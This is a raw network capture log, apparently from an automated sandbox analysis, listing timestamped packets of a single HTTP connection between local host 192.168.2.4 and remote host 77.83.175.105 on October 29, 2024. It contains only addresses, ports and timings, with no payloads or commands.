Oct 29, 2024 04:17:19.402827024 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.402837038 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.402853966 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.402882099 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.402882099 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.403369904 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.403383017 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.403393030 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.403404951 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.403415918 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.403426886 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.403426886 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.403465033 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.403585911 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.444634914 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.444668055 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.444680929 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.444710970 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.444721937 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.444732904 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.444745064 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.444875002 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.512574911 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.512590885 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.512614012 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.512626886 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.512636900 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.512649059 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.512665033 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.512696028 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.512703896 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.512708902 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.512718916 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.512803078 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.512872934 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.512887955 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.512902021 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.512914896 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.512929916 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.512968063 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.512968063 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.513127089 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.513138056 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.513392925 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.519917965 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.519941092 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.519952059 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.519975901 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.519995928 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.520008087 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.520020008 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.520025015 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.520045996 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.520131111 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.521231890 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.521425009 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.521435976 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.521486998 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.521500111 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.521511078 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.521514893 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.521538019 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.521567106 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.521735907 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.521790981 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.521802902 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.521826982 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.521837950 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.521861076 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.521861076 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.521903992 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.521934032 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.521976948 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.521989107 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.521997929 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.522028923 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.522125006 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.522166014 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.522178888 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.522188902 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.522211075 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.522219896 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.522227049 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.522243023 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.522273064 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.522273064 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.522516966 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.522622108 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.522636890 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.522659063 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.522670031 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.522680998 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.522690058 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.522692919 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.522705078 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.522711992 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.522711992 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.522715092 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.522726059 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.522743940 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.522779942 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.522779942 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.563487053 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.563500881 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.563512087 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.563534021 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.563544989 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.563555002 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.563568115 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.563580990 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.563580990 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.563671112 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.563671112 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.631609917 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.631695032 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.631800890 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.631817102 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.631836891 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.631848097 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.631860018 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.631871939 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.631885052 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.631895065 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.631906033 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.631912947 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.631942987 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.631942987 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.632015944 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.632139921 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.632235050 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.632237911 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.632246971 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.632256985 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.632297039 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.632333994 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.638956070 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.639000893 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.639012098 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.639022112 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.639033079 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.639064074 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.639110088 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.639116049 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.639163971 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.639240980 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.640275955 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.640292883 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.640305042 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.640371084 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.640371084 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.640381098 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.640393019 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.640404940 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.640449047 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.640484095 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.640649080 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.640693903 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.640708923 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.640731096 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.640774965 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.640774965 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.640785933 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.640798092 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.640829086 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.640898943 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.640979052 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.641068935 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.641078949 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.641144991 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.641163111 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.641172886 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.641187906 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.641187906 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.641380072 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.641391039 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.641416073 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.641439915 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.641453028 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.641463041 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.641475916 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.641485929 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.641485929 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.641530991 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.641530991 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.641827106 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.641881943 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.641894102 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.641904116 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.641917944 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.641949892 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.642124891 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.642136097 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.642146111 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.642163992 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.642179966 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.642190933 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.642208099 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.642208099 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.642319918 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.682614088 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.682631016 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.682641983 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.682729959 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.682750940 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.682768106 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.682779074 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.682790995 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.682842016 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.682842016 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.682842016 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.683434010 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.750803947 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.750845909 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.750858068 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.750909090 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.750921965 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.750931978 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.750973940 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.751036882 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.751043081 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.751055002 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.751066923 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.751095057 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.751115084 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.751148939 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.751214027 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.751291990 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.751359940 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.751374006 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.751382113 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.751384020 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.751420021 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.751455069 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.758028984 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.758054018 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.758069038 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.758093119 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.758093119 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.758147001 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.758152008 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.758160114 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.758172035 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.758192062 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.758266926 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.759393930 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.759412050 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.759423018 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.759505033 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.759505033 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.759521961 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.759532928 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.759543896 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.759582996 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.759582996 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.759623051 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.760025978 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.760140896 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.760153055 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.760276079 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.760296106 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.760307074 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.760318041 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.760329962 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.760341883 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.760353088 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.760351896 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.760365963 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.760374069 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.760396004 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.760540009 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.760561943 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.760571957 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.760572910 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.760629892 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.760631084 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.760771990 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.760782957 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.760795116 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.760806084 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.760828018 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.760828018 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.760927916 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.760938883 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.760951042 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.760958910 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.760961056 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.761001110 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.761070967 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.761379957 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.761393070 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.761404037 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.761415958 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.761429071 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.761454105 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.761454105 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.761513948 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.761811972 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.761822939 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.761836052 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.762051105 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.802186966 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.802366972 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.802376986 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.802376986 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.802450895 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.802460909 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.802469969 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.802495956 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.802495956 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.802563906 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.846287012 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.846302986 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.846317053 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.846350908 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.846457958 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.869827032 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.869839907 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.869849920 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.869900942 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.869911909 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.869918108 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.869918108 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.869921923 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.869971037 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.870034933 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.870038033 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.870047092 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.870055914 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.870083094 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.870114088 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.870193958 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.870284081 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.870296955 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.870304108 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.870322943 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.870333910 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.870345116 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.870353937 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.870354891 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.870414019 CET	49755	80	192.168.2.4	77.83.175.105
